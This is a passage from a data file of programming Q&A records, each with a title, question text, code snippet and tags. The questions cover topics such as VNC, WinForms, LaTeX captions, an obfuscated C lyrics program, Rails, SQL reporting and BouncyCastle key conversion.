Linux to Ubuntu using , but whenever I try to connect, I get a message.\nI can ssh
from one to the other and vice-versa, and I have been able to remote into the
destination machine using another Ubuntu machine. The machine is configured to
allow any connections.\nAny ideas as to what might be the culprit? Thanks!\n",
"vinagre", "ubuntu vnc arch-linux"], "3170821": ["Winforms application hanging, but
only for specific user on specific machine?", "I have a user who can't run a
particular part of an application on his machine. It's only on this machine, for
this user that the application hangs. The user can run it successfully on other
machines under their credentials. Also, other users can run it successfully under
their own credentials.\nThe event log is no help. It just says the application
stopped responding. I added some logging to see how far the app gets before it
stops recording the logging, but the last logging entry is in a part of the code
that is inconsequential (i.e. showing a label).\nI know the problem is in a
backgroundworker because if I comment out the call to the backgroundworker_DOWORK,
the app doesn't hang.\nWhat could be the issue? I have no idea where to even start
after trying all this. What types of issues could only to a specific user on a
specific machine?\n", "", ".net winforms user-profile hangs"], "4168032": ["How to
access variables in the function where apply_filters() is called?", "I am trying to
filter some data based on whether a variable from within the function that calls
is equal to specific value. That variable is not passed to the parameters. This
might explain what I mean:\n\nI tried to use inside of my function but with no
success. The only way I could access was by editing the core file and passing to
the function like:\n\nIs there a way to access this variable without editing the
core file or trying to regenerate $var_a from scratch? Thanks.\nEDIT: The filter
that I am trying to hook to is which is called from function in file. I am
trying to change the from to IF the was equal to .\n", "apply_filters()",
"hooks filters"], "5608702": ["RadWindow Standardization", "I'm trying to make
sense of the RadWindow/RadWindowManager relation. I see that there can be many
RadWindowManager controls defined in one page (unlike the
RadScriptManager/ScriptManager which requires one implementation). But I also see
that we can implement the RadWindow either inside of the RadWindowManager or as a
standalone control.\nWhat is the advantages of using the RadWindowManager beside
being able to apply settings defined on the manager to the window? Is it better to
keep the RadWindowManager outside of the master page and define it where it is
needed, or is it better to keep a global radwindowmanager, and have radwindow as a
standalone control?\nThanks.\n", "", ".net asp.net telerik radwindow"], "2758617":
["Interaction of hyperref, capt-of and redefinition of @makecaption", "\nPossible
Duplicate:\nRemove colon in the caption of a figure without using caption package \
n\nThis is a very tough question and I have posted minimum example below.\n\
nBecause I don't want my figures to float I use center environment and capt-of
package.\nI have tweaked @makecaption in a way that there is only figure name (no
colon) displayed when figure name is empty.\nI also use hyperref package.\n\nWhen
working all three together, I get bunch of \"Extra \\else.\" errors. Can you find
the problem? Maybe I have redefined @makecaption badly?\nRegards.\n\n", "\\
documentclass{article}\n\\usepackage{capt-of}\n\n\\usepackage{hyperref}\n\n\\
makeatletter\n% tweaked article.cls @makecaption: no caption text no \":\" \n\\
newcommand*{\\captionlabeldelim}{}\n\\long\\def\\@makecaption#1#2{%\n \\ifx #2\\
ignorespaces \n \\renewcommand*{\\captionlabeldelim}{}\n \\else\n \\
renewcommand*{\\captionlabeldelim}{:\\ }\n \\fi\n \\vskip\\abovecaptionskip\n \\
sbox\\@tempboxa{#1\\captionlabeldelim #2}%\n \\ifdim \\wd\\@tempboxa >\\hsize\n
#1\\captionlabeldelim #2\\par\n \\else\n \\global \\@minipagefalse\n \\
hb@xt@\\hsize{\\hfil\\box\\@tempboxa\\hfil}%\n \\fi\n \\vskip\\belowcaptionskip}\
n\\makeatother\n\n\\begin{document}\n\n\\begin{center}\n\\includegraphics[clip]
{bla.eps}\n\\captionof{figure}{x}\n\\end{center}%\n\n\\begin{center}\n\\
includegraphics[clip]{bla.eps}\n\\captionof{figure}{}\n\\end{center}%\n\n\\
end{document}\n", "captions"], "1943137": ["Three arguments to main, and other
obfuscating tricks", "The following obfuscated C code prints the words to the \"12
days of Xmas\".\nI was trying to puzzle out how it works. I'm basically completely
lost. What is the significance of the three untyped arguments to main in the
initial call, the series of characters
after the first return, the negative numeric arguments to the calls to main?
Eek! \nI'm mostly doing this thinking maybe I'll learn some interesting corners of
the C language, so replies in that vein are the most welcome.\n\n", "#include
<stdio.h>\nmain(t,_,a)char *a;{return!0<t?t<3?main(-79,-13,a+main(-87,1-_,\nmain(-
86,0,a+1)+a)):1,t<_?main(t+1,_,a):3,main(-94,-27+t,a)&&t==2?_<13?\nmain(2,_+1,\"%s
%d %d\\n\"):9:16:t<0?t<-72?main(_,t,\n\"@n'+,#'/*{}w+/w#cdnr/+,{}r/*de}+,/*{*+,/w{%
+,/w#q#n+,/#{l,+,/n{n+,/+#n+,/#\\\n;#q#n+,/+k#;*+,/'r :'d*'3,}{w+K w'K:'+}e#';dq#'l
\\\nq#'+d'K#!/+k#;q#'r}eKK#}w'r}eKK{nl]'/#;#q#n'){)#}w'){){nl]'/+#n';d}rw' i;# \\\
n){nl]!/n{n#'; r{#w'r nc{nl]'/#{l,+'K {rw' iK{;[{nl]'/w#q#n'wk nw' \\\
niwk{KK{nl]!/w{%'l##w#' i; :{nl]'/*{q#'ld;r'}{nlwb!/*de}'c
\\\n;;{nl'-{}rw]'/+,}##'*}#nc,',#nw]'/+kd'+e}+;#'rdq#w! nr'/ ') }+}{rl#'{n' ')# \\\
n}'+}##(!!/\")\n:t<-50?_==*a?putchar(31[a]):main(-65,_,a+1):main((*a=='/')
+t,_,a+1)\n :0<t?main(2,2,\"%s\"):*a=='/'||main(0,main(-61,*a,\n\"!ek;dc i@bK'(q)-
[w]*%n+r3#l,{}:\\nuwloca-O;m .vpbks,fxntdCeghiry\"),a+1);}\n", "c obfuscation"],
"4927897": ["Alternatives to \"Programming Silverlight 2\"?", "I know a lot of
people on here were eagerly awaiting the Jesse Liberty / Tim Heuer book on
Silverlight 2.\nAmazon have just cancelled my pre-order, and I've noticed all
mention of the book seems to have disappeared from the O'Reilly site, so I guess
the book's a gonner.\nHave any other books emerged as reasonable Silverlight 2
sources?\n", "", "silverlight books"], "1208865": ["Php/Magento comparison operator
always returning true?", "I am trying to use a simple if comparison and it seems to
always render as true.\n\nI know for a fact that these two items are not equal (if
you don't know Magento, they are used to get urls for product images in different
ways).\nI use these methods in \n\nAnd if I echo them, they are clearly different.
Is the comparison somehow comparing whether they exist or not and they are both
returning true? If so, how can I make it so it compares them as strings?\n", "if
($this->helper('catalog/image')->init($_child_products[$i], 'image') == $this-
>helper('catalog/image')->init($this->getProduct(), 'image', $_image->getFile()) )
{\n echo 'true';\n}\n", "php string magento comparison"], "2380717": ["Strange
behavior with `find -delete`", "I'm using Ubuntu 12.04 with 2 x 2TB SATA3 harddisks
in software RAID1. The filesystem is ext4 with .\nWhen using to delete a large
number of files in a directory, doing at intervals show that:\nInitially a large
number of files get deleted, and shows the operation taking most of the IO.\n\
nLater shows that the number of files remain constant, and shows that IO usage is
now dominated by and . \n\nFew minutes later, shows the number of files dropping
once more.\nCan anyone explain this behavior? Is this normal or is there something
wrong with my server? Also, how can 3 processes all have 99.99% IO usage at the
same time?\n", "data=writeback", "linux ubuntu raid bash ext4"], "14466": ["Poppler
Compilation with windows and cmake gets error", "I want to compile poppler for
windows with Cmake and VS2008. but when i want to configure it with cmake the
following error is produced:\n\nHow can I fix this problem? actually how can i
compile it for windows.\n", "CMake Error at C:/Program Files (x86)/CMake
2.8/share/cmake-2.8/Modules/FindPackageHandleStandardArgs.cmake:91 (MESSAGE):\n
Could NOT find Freetype (missing: FREETYPE_LIBRARY FREETYPE_INCLUDE_DIRS)\nCall
Stack (most recent call first):\n C:/Program Files (x86)/CMake 2.8/share/cmake-
2.8/Modules/FindPackageHandleStandardArgs.cmake:252 (_FPHSA_FAILURE_MESSAGE)\n
C:/Program Files (x86)/CMake 2.8/share/cmake-2.8/Modules/FindFreetype.cmake:83
(FIND_PACKAGE_HANDLE_STANDARD_ARGS)\n CMakeLists.txt:72 (find_package)\n",
"visual-studio-2008 cmake poppler"], "3598213": ["On OS X, how do I start Cocoa
emacs *and* bring it to front?", "I wrote a little zsh function to allow me to run
emacs from the command-line:\n\nThis works perfectly, but it seems to start emacs
as the last window in my Cmd-tab list. Is there any way to make it take focus when
it's started?\n", "function emacs() {\n
/Applications/Emacs.app/Contents/MacOS/Emacs $@ &\n}\n", "osx emacs zsh shell-
script cocoa"], "2218039": ["Can I know GDataEntryCalendarEvent parent calendar?",
"I have a GDataEntryCalendarEvent and I am trying to know the GDataEntryCalendar he
belongs to?\nWhat I need is to sort the events by the calendar they belong to.\nAny
ideas ?\nthanks, \nShani\n", "", "ios google-calendar gdata"], "5573219":
["Piglatin : filtering records based on values in bag", "I am a newbie to Piglatin,
I have a data file that looks like this (message, email, usersession, spamType)\
nFor sake of simplicity I have I have used only spam/not-spam - The value of this
field typically is some 100 different variants \n\nAll I need if any one of the
message from one user is marked as spam - Remove/filter all his messages.. So the
output of the above would look like\n\nThe other 3 messages are removed - Since
they are from the same user/session\nI am trying to solve the above using grouping
and nested for.. Any help appreciated\n\nThe GDATA looks like\n\nAll I need is to
dump the elements from this group where none of the elements in the bag has a 'not-
spam' types of element\n", "message1 user1@email 12345 spam\nmessage2
user1@email 12345 spam\nmessage3 user1@email 12345 not-spam\n\
nmessage10 user2@email 90879 not-spam\nmessage11 user2@email 90879
not-spam\n", "hadoop pig"], "1851421": ["Two Navigation Controllers (in
Storyboard)", "So I am new to Objective C/iOS and so on... and I want to make
something really simple. I want to have a Login view, and once that is done, I
reach the \"Main\" of my application [HomePage in the image]. In that Home Page, I
want to have a \"brand new\" Navigation controller, and the Home Page to be the
root.\nNow, if I want to Segue from the Login to Home, I have to have a Navigation
controller at the left of the Login Controller. If I do that, the Home page will
have a back button to the login screen and I don't want that. I want to delete that
Login View if possible. I won't need it anymore unless the users
clicks \"Logout\".\nBasically two steps in my question:\n\n1) How do I set the
Navigation Controller for a new stream of View Controllers/View and delete the old
set that is now unreachable.\n2) Since there are no .xib files (because of
Storyboard), how can I change between the views ? Thanks!\n", "", "objective-c
xcode ios5 ios6"], "4637734": ["MissingTemplate : Render partial in Rails 3.2.3",
"Hi I am new to Ruby on Rails and I am following Michael Hartl's book online.\nIn
Partials section of his book. The code he used to render partial was <%= render
'layouts/stylesheets' %>\nbut I get this error.\nI read the API and tried this <
%=render :partial => \"/layouts/stylesheets\" %> but still can't figure this one
out. \nThanks for all the help! \n", "", "render ruby-on-rails-3.2 actionview
partials missing-template"], "4391046": ["jQuery fetching extra content through
starfish and google domains ? Why?", "jQuery recommends CDN hosted or self hosted
jQuery library.\nHere is the download path of minified version
:\nhttp://code.jquery.com/jquery-1.7.2.min.js\nI deployed the same to my cdn,and
used it in my website.\nHowever for both, my CDN path , or the above mentioned
jQuery path, the script makes\nhttp calls starfish, google domain to download more
content :\n\n\nWhy are these components being downloaded,is there anything
incorrect in my method of using jQuery ?\nAre these components compulsory ?\nIf
these are optional components, can I configure jQuery in a way to not download
these components.\n\n", "", "jquery cdn"], "888660": ["following emberjs guide for
#linkTo helper does not display individual post", "I have a jsfiddle with a route
as shown below, which is exactly thesame as the one in emberjs guides and when I
click on the #linkTo helper attached to {{post.title}}, it ought to show me the
individual post but it does not and instead the console shows this errors:\
nUncaught Error: assertion failed: Cannot call get with 'id' on an undefined
object.\nAlso when I click the posts link on the home page, it displays all the
titles but in the console, it also shows this error:\nUncaught Error: Something you
did caused a view to re-render after it rendered but before it was inserted into
the DOM.\n\nThe template which is thesame as the emberjs guides\n\nI looked at this
commit that added support for string literals as param for {{linkTo}} and in
particular the suggestions below from that commit:\nNow, Ember allows you to
specify string literals as arguments. {{#linkTo post popular}} would look up
the \"popular\" property on the current context and generate a URL pointing to the
model with that ID. While {#linkTo post \"popular\"}} would treat the string
literal \"popular\" as the model.\n", "EmBlog.Router.map(function() {\n
this.resource(\"posts\", function(){\n this.route('show', {path:
'/:post_id'}) ;\n });\n});\n", "ember.js ember-router"], "5866424": ["android
widget update problem", "i want to develop a widget which can set update frequency
and enable/disable auto update?\ni don\u2019t know how to program it.can any one
hep or give me some sample?\nthank yoy v.much.\n", "", "android update widget"],
"1251146": ["How to add an event with clickable location using facebook's graph
api?", "As per title, I'm able to get the textual representation, but is there a
way to have it clickable as it would be if we were adding an event location that
exists on fb (has a page)?\nI'm using the php-sdk. Thanks!\n", "", "php facebook-
graph-api facebook-php-sdk facebook-page"], "944878": ["Chrome:cookie removed when
user leaves page", "I have an ASP.NET MVC1
site where the user is logged in. He is logged in because he has a
cookie \".ASPXAUTH\" with a token value in it.\nFor payments the Users gets
redirected to a payment provider. He is redirected to my site when he completed the
payment process.\nThis usually was fine but since the 29th of june I got a lot of
users who dont have a cookie when they get redirected to our site.\nI cant
reproduce this behaviour but I see a pattern: Most users that have lost the cookie
have the recent version(20.0.1132.47) of Chrome on Windows. \nHas anybody had
issues like this in the last couple of days? I have no idea what the reason might
be, but I suspect it to be a setting of Chrome that is changed now by lots of users
or an addon that changes something.\nEDIT\nThe cookie created by forms
authentication is a session cookie. May be some browsers changed the way they
detect a session. If I have a session cookie, close the browser and reopen it I
still have the cookie.\n", "", "asp.net-mvc google-chrome cookies forms-
authentication payment-gateway"], "3640904": ["Can I run a Fedora VM on top of
XenServer / ESXi? What's the closest alternative?", "I am planning on moving to
Citrix XenServer to host a couple of VM's and am looking to find out if Fedora is
in fact supported. The site says it can run Red Hat, but aren't this and Fedora
nearly the same?\nCan I run this OS in a virtual machine on this hypervisor? What
alternative OS's are there to do this?\nThank you,\nEDIT: I just looked and Fedora
isnt listed for ESXi either, just Red Hat Linux. Will it run on here either?\
nApparently from the Citrix forums someone has built Fedora on XenServer 4.1, so I
guess there would be no reason it wouldn't work on 5.5?\n", "", "linux
virtualization vmware-esxi xenserver operating-system"], "659121": ["Perforce
changing the default editor", "I use perforce for my revision control, when I hit
p4 changes it always opens up the list on emacs, and we all know the pain of
deleting text in it. How do i change it to gedit or vim or anything else? My
default text editor is gedit.\n", "", "perforce"], "4433203": ["Do methods ending
with _! have a special meaning in Scala?", "Do methods ending with such as or
have a special meaning? Are they \"just names\"? Do they follow some convention?
There's even . (The specific context is Lift if it makes a difference.)\n", "_!",
"scala naming-conventions"], "4391040": ["overloading << operator for c++ stl
containers", "I wish I could just print contents of a set/vector/map by using cout
<< . It doesn't seem so difficult for the stl designers to implement : Assuming
that << is defined for T, << for a container could just iterate through the
elements and print them using ofstream << .\nIs there an easy way to print them
that I dont know of?\nIf not, Is there an easy solution? I have read at places that
extending stl classes is a bad idea. Is that so, and why?\nhow about defining an
something like an overloaded print function?\nEDIT:\nI am looking for a recursive
function which can handle containers of containers of ...\nI agree that different
people would like different formats, but something overridable is better than
nothing\n", "", "c++ stl ofstream"], "871309": ["C++ Call pointer to member with a
map from a const function", "I have a map of pointer to member declared as :\n\nI
fill my map with pointer to member directly in the constructor of my class with :\
n\nFor example, op_add source code is :\n\nAnd I want to call my pointer to member
from a const function. Here is the source code :\n\nBut it makes me always an error
:\n\nHave you got any solution ?\nThank you.\n", "std::map<char, T (Operand::*)
(const T &, const T &)> op_map;\n", "c++ pointers map std member"], "3915497":
["Select all columns by a unique column value in Rails 3", "In Rails 3, how do i
select rows based on unique column values, i need to get all the columns for eg:\n\
nThis only returns date column, but i want all the columns (name, date , age ,
created_at) columns not just the date.\nThanks for your help\n", "SELECT
COUNT(DISTINCT date) FROM records\n", "ruby-on-rails ruby ruby-on-rails-3
activerecord"], "319212": ["Why are my images blurry in pdflatex?", "\nPossible
Duplicate:\nMy pixel perfect picture gets blurry when compiled in LaTex \n\nI am
currently creating a presentation using . For this I am taking screenshots, and
then I use Gimp to scale them appropriately, so that I can import them in LaTeX
without scaling:\n\nThe images are in PNG format. The problem is, even though the
images appear very clear and sharp in Gimp, they always end up blurry in the PDF.
Can someone explain why that is?\n", "beamer", "beamer graphics pdftex"],
"1540882": ["SqlException Error Message", "I am developing an application that runs
on windows Ce 6.0, the application should connect to a database that is located on
my PC., but every time I try to open the connection i get A SQLException error
message. this is how I am opening the connection\n\nWhy am I getting the error
message? and how do i resolve it?\nThank you.\n", "..........\nSqlConnection
EdiSqlConnection;\nString ConnectionString;\nConnectionString
= \"Server='serverName';Database=DatabaseName;Trusted_Connection=true;\";\
n..........\n\nEdiSqlConnection = new SqlConnection(ConnectionString);\n\ntry {\n
EdiSqlConnection.Open();\n Output.Text = \"Connected\"; //this is a message to
see that we are connected\n}\ncatch (Exception ex) {\n Output.Text = \"Message:
\" + ex.Message;\n return;\n} \n", "c# sql-server windows-ce sqlconnection"],
"910589": ["based on zip code show shipping rate drupal 7", "for my site based on
zip code shipping rate different if zip code in listed in my zip code then
shipping rate zero other wise shipping rate add 15$ how it perform in drupal 7. i
am not using drupal commerce.\n", "", "drupal drupal-7"], "2739356": ["How to
create a folder in Google Drive, using Java with OAuthRequest", "I want to create a
new Folder in Google drive, here is my code:\n\nI'm getting 401 Unauthorized doing
this way. If i take out the addBodyParameter lines, it works, but is created a
Untitled file.\nI don't know what is wrong, maybe are missing some lines of code,
anyone knows how to fix this problem? Thanks in advance.\nI've fixed it:\n\nHad to
put the title and the mimeType in a JSONObject, to add it as a Payload to the
request, and add to the header of request, the content-lenght and content-type, of
the json. Now it's working fine.\nI hope it helps someone else later.\n",
"OAuthRequest request = new OAuthRequest(Verb.POST,
\"https://www.googleapis.com/drive/v2/files\");\n\
nrequest.addBodyParameter(\"title\", \"Folder\");\
nrequest.addBodyParameter(\"mimeType\", \"application/vnd.google-apps.folder\");\n\
nservice.signRequest(accessToken, request);\n\nResponse response = request.send();\
n", "java oauth google-drive-sdk scribe"], "5994920": ["Is there a (RESTful) API
for the linux man pages?", "I'm looking for a way to query the linux man pages
through an API, the closest I've found is http://linux.die.net/man, however there
the commands are split into 8 sections, e.g. gcc is in section 1:
http://linux.die.net/man/1/gcc, and as it's not actually an API so you get a full
html page (sidebar and ads included) in return.\nBefore I plough on and try to make
one, does something like this already exist?\n", "", "linux api rest man"],
"641652": ["Using CSS3 Pie with jQuery BlockUI", "I am using CSS3 Pie for doing
cross browser border-radius and box-shadows. This works really great. But when used
together with the jQuery blockUI plugin (using modal dialogs), CSS3 Pie
functionality does not apply to that dialog element.\nThis is because of the z-
index problem with position:fixed , which is also described here. I already tried
to change position to relative on the target element, played arround with the z-
index, but it won\u00b4t work.\nMaybe someone of you had a similar problem and can
help me out here\n", "", "jquery css3 css3pie blockui jquery-blockui"], "5974751":
["Javascript generated ul looks different in internet explorer", "jsFiddle\nI'm
trying to create a playlist widget using javascript and html, it looks great on
chrome, but when I test it in IE it looks static and only one row is displayed. I'm
trying to figure this out, but I can't. \nPlease help me out.\np.s. this is the
first time I do html and javascript :)\nhttp://animaonline.com/api/yt/pls/v1/\n",
"", "javascript css internet-explorer youtube"], "1681002": ["Mock MVC3
ControllerContext query string collection and ValueProvider", "I followed code
sample in Steve Sanderson's MVC3 book, there is a piece of ControlContext mock code
there I can setup form and query string values.\nIn order to support TryUpdateModel
in unit test I made some change to the code, for example I have changed data type
of formValues to and I added following codes to make it work:\n\nMeanwhile I would
like to do the same thing to querystring collection, but could not find equivalent
class to support such a function.\nWho has any idea what shall I do to query
string?\n", "FormCollection formValues", "asp.net-mvc-3 unit-testing mocking query-
string value-provider"], "2466908": ["Accessing cache in iPad through HTML5, JS or
jQuery ", "I have created an browser-based application with the use of HTML &
javascript, where some videos are embedded into it.\nNow to access the application
even faster, we wish to access the videos from cache(if available) so as to avoid
buffering when accessed by the end-user.\nConstraints are : app is used mainly on
iPhone / iPad through default Safari-browser and javascript/jQuery solution is
needed so as to achieve the requirement ASAP. Also the video sizes are upto 22MB.\
nIs it possible to access such big videos to be managed by cache on iPad, can those
be accessed from javascript or jQuery ?\n", "", "javascript jquery html jquery-ui
caching"], "3205602": ["Default Domain Policy Overriding Custom GPO even though
Custom GPO is Enforced", "I'm trying to apply a custom GPO to an OU with a specific
account in it. Even though I enforce the GPO, the default domain policy is still
overriding my custom GPO and settings are not being applied to the account.\
nQuestions:\n\nIs the Default Domain Policy not subject to Enforcement?\nHow do I
get a custom GPO to override the default domain policy?\n\n", "", "windows-server-
2008 windows-server-2003 group-policy security"], "5304505": ["saving blob picture
into database without storing to hd", "I have an base64 picture string in
coldfusion.\nHow can I save this image blob into the database without storing to
filedisk?\nMy function.\n\nBut I don't want to save image on the hard drive.\nI
need this.\nbase64----imageblob----database\nAny help?\n", "<cfset
base64string=\"base64picturestring\">\n<cfimage
source=\"#ImageReadBase64(\"data:image/png;base64,#base64string#\")#\"\
ndestination=\"c:\\picture.png\" action=\"write\" overwrite=\"true\">\n<cffile
action=\"readbinary\" file=\"c:\\picture.png\" variable=\"ImageData\"/>\n\nINSERT
INTO imagedb (imageblob)\nVALUES (<cfqueryparam cfsqltype=\"cf_sql_blob\"
value=\"#ImageData#\" />)\n", "coldfusion blob"], "5110365": ["Upper Tail
probability question", "One part of my homework question asks for a table of upper
tail probabilities where P(X>=k) for 2<=k<=13. The thing is we never talked about
upper tail probabilities in class and I still dont really understand what they are
are what theyre used for. Can anyone help?\nHere are the probabilities I found in
an earlier part of the question...\nP(Y=2)= .083\nP(Y=3)= .153\nP(Y=4)= .191\
nP(Y=5)= .191\nP(Y=6)= .159\nP(Y=7)= .111\nP(Y=8)= .065\nP(Y=9)= .031\
nP(Y=10)= .012\nP(Y=11)= .003\nP(Y=12)= .0006\nP(Y=13)= .00005\nThese values are
rounded so they might not add up to exactly 1\n", "", "homework probability
probability-theory"], "3281685": ["how can i convert pem public key to rsa public
key with bouncycastle in c#?", "i have a pem public key and i want to convert to
xml format public key or AsymmetricKeyParameter.\ni can convert pem Private key to
Public/Private xml format or asymmetricKeyParameter with PemReader in bouncyCastle
in C#.but when use Pem Public Key in PemReader , i receive error. \nplease help
me.\nwhat else solution for my problem?\n", "", "c# rsa bouncycastle publickey
pem"], "3074944": ["Disabling PuTTY's Ctrl-Pageup/down scrollback", "Pressing Ctrl-
Pageup/down in PuTTY scrolls the scrollbar by 1 line. I wish to use this key
sequence in vim. How do I disable this behaviour in PuTTY?\n", "", "terminal
putty"], "3930463": ["Div id generating with php", "I'm using smarty CMS so for
adding php code i have to edit index.inc.php then i have to call that on from tpl
file.. so what i need is \nExample at present it showing like this\n\nsame div1 id
in all tags.. i need it to show like this\n\nPlease show me to generate id numbers
from 1 to 5 through php i will try to implement it to smarty...\n", "<div
id=\"div1\"> ... </div>\n<div id=\"div1\"> ... </div>\n<div id=\"div1\"> ...
</div>\n<div id=\"div1\"> ... </div>\n<div id=\"div1\"> ... </div>\n", "smarty"],
"2154300": ["Event not firing early enough in .NET Page cycle", "I have a Page
(form) that has many UserControls on it, and I'm trying to have a single button to
save everything. The UserControls are actually nested, so I wanted to somehow
signal to each UC that it should save itself, instead of somehow wrapping
everything into one event or having a single event trigger a cascade of save
events.\nMy plan was to use a static class (props to this answer for the code):\n\
nIdeally a button on my MasterPage would set RequestScopedFormData.FormIsSaving =
true, and as .NET builds the Page and its UserControls, they would know to perform
a save on themselves.\nThe problem I'm having is that I can't get an event to fire
early enough in the Page lifecycle to save the UserControls. Even if I move the
saving code to the PreRender event, and I move the save ImageButton to the Page
itself (instead of the MasterPage), I cannot get the FormIsSaving set to true
before the UC saving check.\nIt happens something like this:\n\nPage Page_Load\
nMasterPage Page_Load\nUC Page_Loads and PreRenders (they\nare mixed, it prerenders
some before\nit loads others)\nMasterPage SaveButton_Click event \n(this is where I
set my class\nvariable)\nMasterPage PreRender\nPage PreRender\n\nSo unfortunately
the SaveButton_Click method happens AFTER the UCs are loaded, so they never save.\
n", "public static class RequestScopedFormData\n{\n private const string
save_key = \"request_form_is_saving\";\n\n public static bool FormIsSaving\n
{\n get\n {\n object o =
HttpContext.Current.Items[save_key];\n return Convert.ToBoolean(o);\n
}\n set\n {\n HttpContext.Current.Items[save_key] =
value;\n }\n }\n}\n", ".net usercontrols page-lifecycle"], "5094288":
["Mac Office 2011 and json parsing in vba?", "all the json libraties I could find
for VBA required the dictionary object which is part of the microsoft scripting
runtime, which are not available on the mac. Is there a json parser working for Mac
Office 2011 VBA?\n", "", "json osx vba office"], "1927435": ["Play audio from
AVCaptureAudioDataOutputSampleBufferDelegate", "I'm capturing audio using
AVCaptureAudioDataOutputSampleBufferDelegate\n\nDelegate:\n\nThe question is how
can i play audio from sampleBuffer?\n", " _captureSession = [[AVCaptureSession
alloc] init];\n [self.captureSession setSessionPreset:AVCaptureSessionPresetLow];\
n\n\n // Setup Audio input\n AVCaptureDevice *audioDevice = [AVCaptureDevice\n
defaultDeviceWithMediaType:AVMediaTypeAudio];\n AVCaptureDeviceInput
*captureAudioInput = [AVCaptureDeviceInput deviceInputWithDevice:audioDevice
error:&error];\n if(error){\n NSLog(@\"Error Start capture Audio=%@\",
error);\n }else{\n if ([self.captureSession canAddInput:captureAudioInput]){\
n [self.captureSession addInput:captureAudioInput];\n }\n }\n\n\
n // Setup Audio output\n AVCaptureAudioDataOutput *audioCaptureOutput =
[[AVCaptureAudioDataOutput alloc] init];\n if ([self.captureSession
canAddOutput:audioCaptureOutput]){\n [self.captureSession
addOutput:audioCaptureOutput];\n }\n [audioCaptureOutput release];\n\n\n //We
create a serial queue \n dispatch_queue_t audioQueue=
dispatch_queue_create(\"audioQueue\", NULL);\n [audioCaptureOutput
setSampleBufferDelegate:self queue:audioQueue];\n dispatch_release(audioQueue);\n\
n\n /*We start the capture*/\n [self.captureSession startRunning];\n", "iphone
objective-c ios avfoundation"], "695876": ["Convert a number from Base B1 to Base
B2 without using any intermediate base", "Is there a way Convert a number from Base
B1 to Base B2 without using any intermediate base.\nEx:\n214 from base 5 to base 16
without converting it first to decimal and then decimal to hexadecimal.\n--\
nThanks\nAlok Kr.\n", "", "java c++ c algorithm numbers"], "608922": ["How to make
a Video \"mini/filter-driver\"", "I need to create an application/driver in Windows
that captures the video stream from a webcam, performs some modifications and
passes it back on to the system (so it streams out to say skype).\nAnyone knows how
to create / register such an app ? Maybe samples on the web ?\nThanks in advance\
n", "", "windows video driver"], "2297210": ["SPNEGO on IBM WebSphere Portal 6.1
with https", "I configured IBM WebSphere Portal 6.1 on WAS7:\nSPNEGO, ssl with self
signed certificate, default http transport (without Web Server) and changed default
ports 10039, 10029 to 80, 443.\nAfter that SPNEGO works fine on http, on https
displayed standard login form. Where there may be a mistake?\n", "", "ssl https
kerberos websphere-portal spnego"], "851638": ["Fill any ArrayList with results of
an SQL statement", "I have the following code that takes an SQL statement (string),
loads the results into an ArrayList (organisationList) which is a collection of
Organisations:\n\nI would like to adapt this method to be possible to fill an
ArrayList passed into it.\nIs it possible for me to pass the list into the method
and have something like:\n\nSorry if this is a little vague, I'm quite new to OOP
and a bit lost!\nEdit: Based on the advice of Darren Davies, I have modified the
method as follows:\n\nWhen I run the code, I get an error when casting the object
to type T:\n\nUnable to cast object of type 'System.Object' to type\n
'TestHarness.Organisation'.\n\nI was under the impression that an Object could
store anything. Can anyone advise me on why this cast cannot be performed?\
nThanks,\nAndy\n", "public void FillDataGridView(DataGridView grid, string
SQLCommand)\n{\n SqlCommand dataCommand = new SqlCommand();\n
dataCommand.Connection = dataConnection;\n dataCommand.CommandType =
CommandType.Text;\n dataCommand.CommandText = SQLCommand;\n\n SqlDataReader
dataReader = dataCommand.ExecuteReader();\n\n while (dataReader.Read())\n {\n
Organisation org = new Organisation();\n\n org.OrganisationId =
(int)dataReader[\"OrganisationId\"];\n org.OrganisationName =
(string)dataReader[\"OrganisationName\"];\n\n organisationList.Add(org);\n
}\n\n grid.DataSource = organisationList;\n dataReader.Close();\n}\n",
"c# .net sql arraylist sqldatareader"], "3902198": ["How to add pull tableview up
to refresh data inside the uitableview", "I know how to add pull-to-refresh into a
view controller. But right now the situations is: I have a & that contains a and
I want to pull the table view up at the very bottom of tableview to reload it's
data.\nHow to add pull-to-refresh inside this , not it's parent view's controller.\
n", "UIView", "iphone
ios uitableview uiviewcontroller"], "2819355": ["Can't launch .exe from Java", "I
am trying to launch a .exe file through a Java program. I used the following code:\
n\nthe output is as follows:\n\nOpening C:\\Program Files (x86)\\C-Free 5\\
CppIDE.exe\n\nBut it is not opening.\nInstead when I try\n\nthe program is opened.\
nI don't know what the problem is. \n", "System.out.println(\"Opening \" + path);\
nProcess exec;\nexec = Runtime.getRuntime().exec(\"rundll32
SHELL32.DLL,ShellExec_RunDLL \" + path);//path is the path of the exe file which is
passed as an argument from another java class\n", "java process runtime.exec"],
"1197890": ["Aptana will not let me Run my python modules. Why?", "Why is the
Python Run option not available?\n\nI'm running Aptana 3 on Mac OS X 10.6\n", "",
"python eclipse osx aptana pydev"], "689404": ["Returning multiple months of data
into one select", "I have a question on SQL 2008 which is probably quite easy but I
can't see the woods for the trees now. \nI am trying to produce a sql based report
detailing the last six months of helpdesk issue stats, per application, per office,
per month which I then take into ssrs to apply prettiness :o)\nAnyway - I have my
script, which is fine on a month by month basis, for example;\n\nwhich brings back
all of May's issues.\nThe problem is that t.name_1 (the application in which the
issue is for) is dynamic and the list grows or shrinks every month.\nI basically
need a layout of\nAPPLICATION OFFICE COUNT JUNE MAY APRIL MARCH FEB JAN\
nWORD LONDON 20 1 1 2 5 10 1\nWORD PARIS
10 2 3 1 2 0 3\nEXCEL MADRID 05 0 0 3
2 0 0\netc (if that makes sense on this layout!)\nI've gone down the 6
separate reports road but it just doesn't look very nice in ssrs. I've thought
about #tmptables but they don't like inserting distinct rows. \nAny ideas would be
gratefully received. I have very little hair as it is and what I have is at risk!\
n", "SELECT distinct t.name_1 'Application', \n (select distinct
name from location where location_ref = c.location_ref) as office,\n
Count (t.name_1) as [Call Count], \n datename(month, dateadd(month,-
2,getdate()))+' '+datename(year, dateadd(month,-2,getdate())) as [Report Month]\n\
nFROM call_logging C \n Inner Join problem_type t On
t.ref_composite = c.ref_composite \n\nAND c.resolve_time between
onvert(datetime,convert(varchar,month(dateadd(m,-2,getdate()))) + '/01/' +
convert(varchar,year(dateadd(m,-2,getdate()))))\n and
